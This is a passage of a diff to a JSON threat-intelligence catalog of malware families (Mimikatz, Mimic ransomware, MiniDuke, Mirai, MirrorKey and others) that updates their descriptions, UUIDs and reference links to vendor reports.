"https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/", - "https://attack.mitre.org/groups/G0011", - "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", - "https://noticeofpleadings.com/nickel/#", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", - "https://attack.mitre.org/groups/G0096", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/", - "https://www.infinitumit.com.tr/apt-35/", - "https://blog.xpnsec.com/exploring-mimikatz-part-1/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf", - "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", - "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", - "https://www.ic3.gov/Media/News/2021/210527.pdf", - "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", - "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", - "https://github.com/gentilkiwi/mimikatz", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", - "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", - "https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf", - "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", - "https://attack.mitre.org/groups/G0034", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/", - "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", - "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", - "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", - "https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html", - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", - "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", - "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", - "https://www.varonis.com/blog/hive-ransomware-analysis", - "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", - "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", - "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", - "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", - "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", - "https://www.ic3.gov/Media/News/2021/210823.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://twitter.com/inversecos/status/1456486725664993287", - "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", - "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221", + "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "83ebded5-6ce5-471a-9bfe-db7cca6b3756", + "value": "mim221" + }, + { + "description": "According to PCrisk, Mimic is a ransomware-type program. Malware within this classification is designed to encrypt data and demand ransoms for decryption. Evidence suggests that Mimic is based on the leaked CONTI ransomware builder. Mimic campaigns have been observed targeting English and Russian speaking users.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic", + "https://www.trendmicro.com/en_us/research/23/a/new-mimic-ransomware-abuses-everything-apis-for-its-encryption-p.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "40e57c70-c83b-4820-87fd-f684f4960268", + "value": "Mimic Ransomware" + }, + { + "description": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://www.mandiant.com/resources/blog/alphv-ransomware-backup", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://www.infinitumit.com.tr/apt-35/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://www.ic3.gov/Media/News/2021/210823.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", + "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", + "https://www.ic3.gov/Media/News/2021/210527.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/", + "https://attack.mitre.org/groups/G0011", + "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", + "https://asec.ahnlab.com/ko/39682/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf", + "https://attack.mitre.org/groups/G0034", + "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", + "https://www.intrinsec.com/apt27-analysis/", + "https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf", + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://noticeofpleadings.com/nickel/#", + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.varonis.com/blog/hive-ransomware-analysis", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://github.com/gentilkiwi/mimikatz", + "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", + "https://volatility-labs.blogspot.com/2021/10/memory-forensics-r-illustrated.html", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://attack.mitre.org/groups/G0096", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.hvs-consulting.de/lazarus-report/", + "http://blog.gentilkiwi.com/securite/un-observateur-evenements-aveugle", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", + "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east", + "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.secureworks.com/research/samsam-ransomware-campaigns", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", + "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", + "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", + "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", + "https://paraflare.com/attack-lifecycle-detection-of-an-operational-technology-breach/", + "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", + "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", + "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", + "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://www.accenture.com/us-en/blogs/cyber-defense/double-extortion-campaigns", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", + "https://www.welivesecurity.com/2022/09/06/worok-big-picture/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "588fb91d-59c6-4667-b299-94676d48b17b", "value": "MimiKatz" }, @@ -32126,12 +33886,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.minebridge", - "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", + "https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/", "https://www.zscaler.com/blogs/security-research/return-minebridge-rat-new-ttps-and-social-engineering-lures", "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", - "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat", + "https://blog.morphisec.com/minebridge-on-the-rise-sophisticated-delivery-mechanism", "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", - "https://www.bleepingcomputer.com/news/security/windows-finger-command-abused-by-phishing-to-download-malware/" + "https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat" ], "synonyms": [ "GazGolder" @@ -32151,31 +33911,23 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "ea9c7068-1c28-4826-a7d1-7ac04760e5c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a4f8bacf-2076-4e00-863c-874cdd833a41", "value": "MiniASP" }, { - "description": "", + "description": "The MiniDuke toolset consists of multiple downloader and backdoor components", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniduke", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/", "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://www.circl.lu/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://research.checkpoint.com/2022/native-function-and-assembly-code-invocation/", "https://www.fireeye.com/blog/threat-research/2013/02/its-a-kind-of-magic-1.html", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://cybergeeks.tech/how-to-defeat-the-russian-dukes-a-step-by-step-analysis-of-miniduke-used-by-apt29-cozy-bear/" + "https://www.secureworks.com/research/threat-profiles/iron-hemlock" ], "synonyms": [], "type": [] @@ -32196,6 +33948,19 @@ "uuid": "01e605b0-aadc-40a3-986f-f0795fd20401", "value": "MiniStealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mintstealer", + "https://twitter.com/ViriBack/status/1610393842787704835" + ], + "synonyms": [], + "type": [] + }, + "uuid": "15c036d3-e1d8-4e4a-850c-20ce65bdd24c", + "value": "MintStealer" + }, { "description": "", "meta": { @@ -32203,8 +33968,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage", "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-palace" + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" ], "synonyms": [], "type": [] @@ -32230,16 +33995,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai", - "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", - "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", - "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot/", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", + "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", + "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", + "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", + "https://twitter.com/PhysicalDrive0/status/830070569202749440", "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://twitter.com/PhysicalDrive0/status/830070569202749440" + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [], "type": [] @@ -32252,11 +34017,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast", - "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", "https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924", - "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/", - "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/" + "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", + "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/", + "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/" ], "synonyms": [], "type": [] @@ -32264,6 +34029,19 @@ "uuid": "be347289-5ca5-4b49-b5ef-8443883736c1", "value": "MirrorBlast" }, + { + "description": "According to Trend Micro, this is a loader for win.transbox, used by threat actor Earth Yako.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey", + "https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7340174e-3ff7-4293-acd0-1a82433a7777", + "value": "MirrorKey" + }, { "description": "", "meta": { @@ -32297,6 +34075,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", 